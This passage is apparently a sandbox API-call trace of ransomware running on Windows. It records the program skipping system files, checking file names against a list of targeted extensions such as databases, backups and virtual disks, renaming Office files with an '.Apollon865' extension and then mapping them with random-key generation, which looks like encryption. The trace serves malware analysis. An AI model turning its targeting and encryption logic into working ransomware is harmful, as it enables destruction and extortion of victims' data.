	[0069.018] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a1e0) returned 0x120000
	[0069.023] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.024] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.024] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.024] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.024] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.025] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0069.026] CloseHandle (hObject=0x118) returned 1
	[0069.026] CloseHandle (hObject=0x15c) returned 1
	[0069.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.026] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f636100, ftCreationTime.dwHighDateTime=0x1c9ef1a, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f636100, ftLastWriteTime.dwHighDateTime=0x1c9ef1a, nFileSizeHigh=0x0, nFileSizeLow=0x80ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL097.XML", cAlternateFileName="")) returned 1
	[0069.026] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2=".") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="..") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="windows") returned -1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="bootmgr") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="temp") returned -1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="pagefile.sys") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="boot") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="ids.txt") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="ntuser.dat") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="perflogs") returned 1
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2="MSBuild") returned 1
	[0069.027] lstrlenW (lpString="PGLBL097.XML") returned 12
	[0069.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML") returned 64
	[0069.027] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL097.XML" | out: lpString1="PGLBL097.XML") returned="PGLBL097.XML"
	[0069.027] lstrlenW (lpString="PGLBL097.XML") returned 12
	[0069.027] lstrlenW (lpString="Apollon865") returned 10
	[0069.027] lstrcmpiW (lpString1="LBL097.XML", lpString2="Apollon865") returned 1
	[0069.027] lstrlenW (lpString=".dll") returned 4
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2=".dll") returned 1
	[0069.027] lstrlenW (lpString=".lnk") returned 4
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2=".lnk") returned 1
	[0069.027] lstrlenW (lpString=".ini") returned 4
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2=".ini") returned 1
	[0069.027] lstrlenW (lpString=".sys") returned 4
	[0069.027] lstrcmpiW (lpString1="PGLBL097.XML", lpString2=".sys") returned 1
	[0069.027] lstrlenW (lpString="PGLBL097.XML") returned 12
	[0069.027] lstrlenW (lpString="bak") returned 3
	[0069.027] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.027] lstrlenW (lpString="ba_") returned 3
	[0069.027] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.027] lstrlenW (lpString="dbb") returned 3
	[0069.027] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.027] lstrlenW (lpString="vmdk") returned 4
	[0069.027] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.027] lstrlenW (lpString="rar") returned 3
	[0069.027] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.028] lstrlenW (lpString="zip") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.028] lstrlenW (lpString="tgz") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.028] lstrlenW (lpString="vbox") returned 4
	[0069.028] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.028] lstrlenW (lpString="vdi") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.028] lstrlenW (lpString="vhd") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.028] lstrlenW (lpString="vhdx") returned 4
	[0069.028] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.028] lstrlenW (lpString="avhd") returned 4
	[0069.028] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.028] lstrlenW (lpString="db") returned 2
	[0069.028] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.028] lstrlenW (lpString="db2") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.028] lstrlenW (lpString="db3") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.028] lstrlenW (lpString="dbf") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.028] lstrlenW (lpString="mdf") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.028] lstrlenW (lpString="mdb") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.028] lstrlenW (lpString="sql") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.028] lstrlenW (lpString="sqlite") returned 6
	[0069.028] lstrcmpiW (lpString1="97.XML", lpString2="sqlite") returned -1
	[0069.028] lstrlenW (lpString="sqlite3") returned 7
	[0069.028] lstrcmpiW (lpString1="097.XML", lpString2="sqlite3") returned -1
	[0069.028] lstrlenW (lpString="sqlitedb") returned 8
	[0069.028] lstrcmpiW (lpString1="L097.XML", lpString2="sqlitedb") returned -1
	[0069.028] lstrlenW (lpString="xml") returned 3
	[0069.028] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.028] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML.Apollon865") returned 75
	[0069.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.030] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=32954) returned 1
	[0069.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.030] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.031] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.031] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.031] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x83c0, lpName=0x0) returned 0x118
	[0069.032] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x83c0) returned 0x100000
	[0069.035] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.035] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.035] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.036] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.036] CloseHandle (hObject=0x118) returned 1
	[0069.036] CloseHandle (hObject=0x15c) returned 1
	[0069.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.037] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c357500, ftCreationTime.dwHighDateTime=0x1c6d897, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c357500, ftLastWriteTime.dwHighDateTime=0x1c6d897, nFileSizeHigh=0x0, nFileSizeLow=0xe730, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL102.XML", cAlternateFileName="")) returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2=".") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="..") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="windows") returned -1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="bootmgr") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="temp") returned -1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="pagefile.sys") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="boot") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="ids.txt") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="ntuser.dat") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="perflogs") returned 1
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2="MSBuild") returned 1
	[0069.037] lstrlenW (lpString="PGLBL102.XML") returned 12
	[0069.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML") returned 64
	[0069.037] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL102.XML" | out: lpString1="PGLBL102.XML") returned="PGLBL102.XML"
	[0069.037] lstrlenW (lpString="PGLBL102.XML") returned 12
	[0069.037] lstrlenW (lpString="Apollon865") returned 10
	[0069.037] lstrcmpiW (lpString1="LBL102.XML", lpString2="Apollon865") returned 1
	[0069.037] lstrlenW (lpString=".dll") returned 4
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2=".dll") returned 1
	[0069.037] lstrlenW (lpString=".lnk") returned 4
	[0069.037] lstrcmpiW (lpString1="PGLBL102.XML", lpString2=".lnk") returned 1
	[0069.038] lstrlenW (lpString=".ini") returned 4
	[0069.038] lstrcmpiW (lpString1="PGLBL102.XML", lpString2=".ini") returned 1
	[0069.038] lstrlenW (lpString=".sys") returned 4
	[0069.038] lstrcmpiW (lpString1="PGLBL102.XML", lpString2=".sys") returned 1
	[0069.038] lstrlenW (lpString="PGLBL102.XML") returned 12
	[0069.038] lstrlenW (lpString="bak") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.038] lstrlenW (lpString="ba_") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.038] lstrlenW (lpString="dbb") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.038] lstrlenW (lpString="vmdk") returned 4
	[0069.038] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.038] lstrlenW (lpString="rar") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.038] lstrlenW (lpString="zip") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.038] lstrlenW (lpString="tgz") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.038] lstrlenW (lpString="vbox") returned 4
	[0069.038] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.038] lstrlenW (lpString="vdi") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.038] lstrlenW (lpString="vhd") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.038] lstrlenW (lpString="vhdx") returned 4
	[0069.038] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.038] lstrlenW (lpString="avhd") returned 4
	[0069.038] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.038] lstrlenW (lpString="db") returned 2
	[0069.038] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.038] lstrlenW (lpString="db2") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.038] lstrlenW (lpString="db3") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.038] lstrlenW (lpString="dbf") returned 3
	[0069.038] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.039] lstrlenW (lpString="mdf") returned 3
	[0069.039] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.039] lstrlenW (lpString="mdb") returned 3
	[0069.039] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.039] lstrlenW (lpString="sql") returned 3
	[0069.039] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.039] lstrlenW (lpString="sqlite") returned 6
	[0069.039] lstrcmpiW (lpString1="02.XML", lpString2="sqlite") returned -1
	[0069.039] lstrlenW (lpString="sqlite3") returned 7
	[0069.039] lstrcmpiW (lpString1="102.XML", lpString2="sqlite3") returned -1
	[0069.039] lstrlenW (lpString="sqlitedb") returned 8
	[0069.039] lstrcmpiW (lpString1="L102.XML", lpString2="sqlitedb") returned -1
	[0069.039] lstrlenW (lpString="xml") returned 3
	[0069.039] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.039] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML.Apollon865") returned 75
	[0069.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.040] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=59184) returned 1
	[0069.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.041] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.041] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.041] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.042] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea30, lpName=0x0) returned 0x118
	[0069.043] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xea30) returned 0x100000
	[0069.046] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.047] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.047] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.048] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.048] CloseHandle (hObject=0x118) returned 1
	[0069.048] CloseHandle (hObject=0x15c) returned 1
	[0069.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.049] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45027800, ftCreationTime.dwHighDateTime=0x1ca0f15, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45027800, ftLastWriteTime.dwHighDateTime=0x1ca0f15, nFileSizeHigh=0x0, nFileSizeLow=0x27aee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL103.XML", cAlternateFileName="")) returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2=".") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="..") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="windows") returned -1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="bootmgr") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="temp") returned -1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="pagefile.sys") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="boot") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="ids.txt") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="ntuser.dat") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="perflogs") returned 1
	[0069.049] lstrcmpiW (lpString1="PGLBL103.XML", lpString2="MSBuild") returned 1
	[0069.049] lstrlenW (lpString="PGLBL103.XML") returned 12
	[0069.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML") returned 64
	[0069.049] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL103.XML" | out: lpString1="PGLBL103.XML") returned="PGLBL103.XML"
	[0069.049] lstrlenW (lpString="PGLBL103.XML") returned 12
	[0069.050] lstrlenW (lpString="Apollon865") returned 10
	[0069.050] lstrcmpiW (lpString1="LBL103.XML", lpString2="Apollon865") returned 1
	[0069.050] lstrlenW (lpString=".dll") returned 4
	[0069.050] lstrcmpiW (lpString1="PGLBL103.XML", lpString2=".dll") returned 1
	[0069.050] lstrlenW (lpString=".lnk") returned 4
	[0069.050] lstrcmpiW (lpString1="PGLBL103.XML", lpString2=".lnk") returned 1
	[0069.050] lstrlenW (lpString=".ini") returned 4
	[0069.050] lstrcmpiW (lpString1="PGLBL103.XML", lpString2=".ini") returned 1
	[0069.050] lstrlenW (lpString=".sys") returned 4
	[0069.050] lstrcmpiW (lpString1="PGLBL103.XML", lpString2=".sys") returned 1
	[0069.050] lstrlenW (lpString="PGLBL103.XML") returned 12
	[0069.050] lstrlenW (lpString="bak") returned 3
	[0069.050] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.050] lstrlenW (lpString="ba_") returned 3
	[0069.050] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.050] lstrlenW (lpString="dbb") returned 3
	[0069.050] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.050] lstrlenW (lpString="vmdk") returned 4
	[0069.050] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.050] lstrlenW (lpString="rar") returned 3
	[0069.050] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.050] lstrlenW (lpString="zip") returned 3
	[0069.050] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.050] lstrlenW (lpString="tgz") returned 3
	[0069.050] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.050] lstrlenW (lpString="vbox") returned 4
	[0069.050] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.050] lstrlenW (lpString="vdi") returned 3
	[0069.050] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.050] lstrlenW (lpString="vhd") returned 3
	[0069.050] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.050] lstrlenW (lpString="vhdx") returned 4
	[0069.050] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.050] lstrlenW (lpString="avhd") returned 4
	[0069.050] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.050] lstrlenW (lpString="db") returned 2
	[0069.050] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.051] lstrlenW (lpString="db2") returned 3
	[0069.051] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.051] lstrlenW (lpString="db3") returned 3
	[0069.051] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.051] lstrlenW (lpString="dbf") returned 3
	[0069.051] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.051] lstrlenW (lpString="mdf") returned 3
	[0069.051] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.051] lstrlenW (lpString="mdb") returned 3
	[0069.051] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.051] lstrlenW (lpString="sql") returned 3
	[0069.051] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.051] lstrlenW (lpString="sqlite") returned 6
	[0069.051] lstrcmpiW (lpString1="03.XML", lpString2="sqlite") returned -1
	[0069.051] lstrlenW (lpString="sqlite3") returned 7
	[0069.051] lstrcmpiW (lpString1="103.XML", lpString2="sqlite3") returned -1
	[0069.051] lstrlenW (lpString="sqlitedb") returned 8
	[0069.051] lstrcmpiW (lpString1="L103.XML", lpString2="sqlitedb") returned -1
